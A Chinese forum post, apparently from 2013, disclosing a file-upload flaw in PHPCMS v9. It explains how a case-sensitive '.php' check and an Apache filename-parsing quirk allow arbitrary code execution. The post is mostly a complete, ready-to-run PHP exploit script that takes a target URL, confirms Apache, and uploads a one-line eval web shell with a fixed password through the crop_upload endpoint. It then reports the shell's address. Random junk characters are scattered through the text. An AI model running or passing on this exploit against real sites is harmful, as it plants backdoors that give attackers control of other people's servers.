找回密码
 立即注册
查看: 3171|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
, q$ i4 a( D. r( K: f% q# H7 w* v5 ^% W3 E, |$ q
简要描述:
+ _, H7 H. }, f: c+ ^
6 ~$ j  B! V, c* p9 T" C1 @phpcms v9 getshell (apache)& h, C8 I2 [" f8 p4 k# T9 F
详细说明:" d8 u+ s/ o0 ^0 H8 R

5 V5 k6 U$ A" g) O4 G4 Y0 i( e! ^- b0 D* a漏洞文件:phpcms\modules\attachment\attachments.php
: X8 S9 o. i& C  W6 `8 @; o6 n$ k6 S9 W
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } : j" ~$ B8 A# A2 h, y! `( R
后缀检测:phpcms\modules\attachment\functions\global.func.php, D, k1 `& q1 o" `

. B+ I" A3 d* r: o. G$ ]
3 Q) d* M. \0 e% ~, |  t/ n* d
4 @' G% I+ [# K) j: Ofunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
% p4 {; {! p6 Z5 c* m- Y6 \9 j3 T9 Q, U' N
关键函数:
3 \$ _7 ^6 b; `# _5 ]$ J
  q/ k6 U& P) b' v& s6 U) Z
# I, J( V0 q- z* S1 L
2 i$ P4 e& s' ?+ z) Ifunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
, h' a+ U$ G; s9 w1 |- S1 h/ k' d& G# K1 p# s0 d) e
  Fileext函数是对文件后缀名的提取。
, ~9 T, [- E! M) [; j& M2 a根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
$ W% v! k. P/ Q( c1 \% S经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: p" X( G, `2 I  h- k2 O7 P
我们回到public function crop_upload() 函数中
" H; s0 }% f. W2 G8 t3 v# Xif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();+ [- ~1 {# b# A/ r
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
. L+ P. ?+ O* P这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。$ @) J) V9 D$ g8 ^" ?" v( f
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。' v( f& F8 K, b) V
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。9 h5 @4 ^' C1 G( L/ L
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。' c# @0 \* I3 Q+ N$ ?
漏洞证明:
" O+ ]* E: C* U9 p; }: ]1 {6 M( |9 ]3 ^
exp:' d2 p6 A, D' l2 k
1 d& e3 Y' k6 M! e+ u* v
<?php
/ q8 W. I  n  W' p& oerror_reporting(E_ERROR);
: b+ j4 H2 X1 m8 [set_time_limit(0);* h* x6 s- g1 [9 d1 ?6 [
$pass="ln";
7 b. m6 `9 k9 V4 @print_r(', R6 Y6 a0 P1 ?& F; W+ q
+---------------------------------------------------------------------------+
. I1 o7 M" ?4 |  R& o4 dPHPCms V9 GETSHELL 0DAY
4 d. i+ D* b; f% {; e  c7 N1 S  Ycode by L.N.
9 o( e7 Z( a. ]+ O4 Q& r! x9 O( {% ~' y9 q9 D/ @' M( ^. w4 M
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
. M' n8 f: @7 X: r: r+---------------------------------------------------------------------------+5 k7 Q1 b# |" ^" @$ V7 Z& B
');
1 F; T$ I$ n/ P0 T, S1 rif ($argc < 2) {
  e; y; F$ u$ lprint_r('+ t3 w9 E, D6 H. M* R, A, C
+---------------------------------------------------------------------------+
. b, k+ t& s2 c# V. K8 x" V$ VUsage: php '.$argv[0].' url path
7 S+ W5 l" L! R8 w7 C5 i! K/ Y" n% u- X. u
Example:
" Y" N1 A2 C: l/ t3 ~1.php '.$argv[0].' lanu.sinaapp.com
4 X- y% C- N; A2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 [4 l! V& _& j- M0 r  H2 i3 G
+---------------------------------------------------------------------------+
0 |* V3 X  \+ s3 k');
* S# w6 Q- Q$ a1 Z; D' Uexit;
- [" ]* A+ r9 m3 t. H* F3 j" m}3 n. m' a5 i( ^  s0 L3 [
$ |# y) i4 |; L  a. X
$url = $argv[1];) _, N0 {1 L8 i! G( V
$path = $argv[2];& r- N; K. C- t* |
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
( \1 B5 D9 r/ s1 t! y: _6 B9 B$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';2 L, B) a  c8 v/ f& ^
if($ret=Create_dir($url,$path))
3 c" E. H1 e4 b7 `7 K0 b! `{
! f: q% B5 [6 C" s//echo $ret;- |5 H/ r/ q; i7 m& r" b  Z
$pattern = "|Server:[^,]+?|U";
0 @' C- j. m/ t. B. hpreg_match_all($pattern, $ret, $matches);
# @% y* Y$ K, Y4 L9 w0 U8 Wif($matches[0][0])4 c  @: h  {6 i$ [
{9 R# [! ~! w" Q3 Q8 u( z: H, e4 l2 [
if(strpos($matches[0][0],'Apache') == false)& q* C! s% c5 v0 {
{
7 d6 v8 e( I! Zecho "\n亲!此网站不是apache的网站。\n";exit;" S6 _5 q. m& L3 G: g
}
! p, c: g8 I/ g; s}
. T1 X8 S$ r' a. r8 \9 T: \4 V. S$ret = GetShell($url,$phpshell,$path,$file);, h- I- R; S8 x2 T. U6 H5 L$ f& ]
$pattern = "|http:\/\/[^,]+?\.,?|U";3 w/ k0 V9 x% y; [0 S" a$ Z
preg_match_all($pattern, $ret, $matches);
( H' k- @' J- `# j: I: h, j9 T) Eif($matches[0][0])
+ Q- `, N* H' n  C2 H7 Q{
* @% b3 e: T7 m% E, Eecho "\n".'密码为: '.$pass."\n";* l( v1 ?$ l! }. z
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
$ S4 a* W) C% W2 Y/ c}
$ Q+ X4 i& s2 {% l) Belse0 U4 x7 h! |$ r4 C/ f" w9 O
{
' @/ F3 |: a$ m) D: [! R+ Z$pattern = "|\/uploadfile\/[^,]+?\.,?|U";1 `; R# ]' h0 u) F, F) H$ M% D
preg_match_all($pattern, $ret, $matches);0 L/ G, Q$ s# o" u% t2 T  m
if($matches[0][0])/ Y! s7 E: S2 r8 a& x3 `+ |4 Z0 ]: J
{
7 o$ o# ^9 N3 h2 i3 X* ~- Zecho "\n".'密码为: '.$pass."\n";
+ i- r2 H8 b3 _" h5 Q0 Q2 s- A% Iecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) {) ^0 s( U7 U2 S0 G% m& P}- ]0 P& S; i% a' p* m7 `/ y
else
6 X2 o3 v- v9 h* X5 }1 U5 a{
, S( w! y/ p4 t- Z5 f0 ~echo "\r\n没得到!\n";exit;
8 x  t+ I; `5 d2 X}
6 P0 F  ]+ b5 v0 `$ J7 _- @% ^6 ?}
) \) x9 V. R( i}& x9 |' I0 C% {3 {) d1 v
: S- \- b% h1 @8 b- T& k
function GetShell($url,$shell,$path,$js)
0 _1 h7 s0 s  i4 N+ I! c{
1 w( p; B& i1 y, K, S# u$content =$shell;! J) N+ y8 p1 s& P/ }; E3 _# u
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
4 r8 ]8 H! |+ \; c$data .= "Host: ".$url."\r\n";8 @8 W' i# }$ ]+ U7 ^% s8 I. p
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: ~* s+ S2 N# V! U$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 |/ A0 R+ a. G) U' W$ }7 k: ^
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 q6 m: `" a2 }, a5 d$ u) h$data .= "Connection: close\r\n";
$ _7 K9 V/ x, f5 [) E5 a4 w3 v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ b  z1 [* \" l. v+ O! ?7 P; }$data .= $content."\r\n";
% L- e. |% D5 K/ q0 G0 I$ock=fsockopen($url,80);
) o  S+ m% @6 z7 S; X  Dif (!$ock)
! U( N4 ?' C( h. R{
* }% ~1 Q0 W! S3 u: D. c- aecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;$ T3 R5 S0 Z6 W; ?9 B: R
}- v( E7 m2 Y4 z. D; y( G7 V8 c* M7 ~
else
+ \- l  Y8 o3 E$ N{
6 Q) N: R( [, w8 H" f0 u( Efwrite($ock,$data);- [! @0 l. _3 I8 ~  L" X* m! b
$resp = '';
1 t" V+ U( d- \& a3 Rwhile (!feof($ock))0 E& X/ P) j9 o3 V5 w
{
2 ]$ S4 `7 q# ~1 v8 D& \2 U$resp.=fread($ock, 1024);' {7 J. i5 _+ H) K; _: [& m- d6 _6 e
}6 `- z+ F' P9 E" u
return $resp;, i% D% f3 o3 Z, u6 z; i
}  z* n" d, }6 T' ^/ @/ q3 Z
}
& v" {& q! m; k# D0 ?  o( x3 \) s2 l: `7 T* ~" T
function Create_dir($url,$path='')( E2 x! q/ g, K2 h5 x3 H$ ~% B7 g
{
, j+ c$ A( h  q- o; V7 N! {6 C$content ='I love you';
$ k) t$ Q$ A6 }+ h  p7 l$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- {+ ~' A0 d; I* k
$data .= "Host: ".$url."\r\n";
4 z; t* {; z& r) n8 |7 n$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  H5 |4 p8 q) K8 b7 ?( X, {+ K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  Y/ n" ^$ O7 e9 g0 c
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";- E! l! e  x/ I  G# A4 ]# I1 ~
$data .= "Connection: close\r\n";, R* b" h6 `6 J+ K& c
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";/ R% t. S( f% t( \; N6 I7 r
$data .= $content."\r\n";# m4 {5 @8 Y2 l+ z6 P  x* u2 v
$ock=fsockopen($url,80);
8 d( u! ~/ o2 uif (!$ock)
# c- Q+ h0 K( f" |# r{5 S2 Y0 D' l7 r% j9 j, N# J- C
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 X  ]- J. T  H- o
}
& s9 Q" n8 G- E0 a! G3 b/ m7 b0 q+ Afwrite($ock,$data);8 o! P1 m: @2 }/ T- n: k0 G
$resp = '';
: e) [6 y1 F6 u9 B4 {  e6 Xwhile (!feof($ock))6 X# v- k/ F  j& r& N5 z! V
{9 L/ {: W! g( {) ]# i* m0 {1 X
$resp.=fread($ock, 1024);
# y# R6 c: [! G}6 a- Z& S  ~% O! t
return $resp;9 N2 K) H: X; o! l4 i$ c. E5 H
}
$ {% J6 o6 v7 G) k?>
3 Z7 [- f2 W5 X# J. a- e0 z  n# c( w 6 \. s; I; a4 [, ]9 y/ H% L
修复方案:5 E9 Y% y7 i3 L2 Z, r# d
( r; T# D; B# j
过滤过滤再过滤
! V' l* H7 R. k$ ^! T  r4 C! u; E- V. ^6 I9 E  c. K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表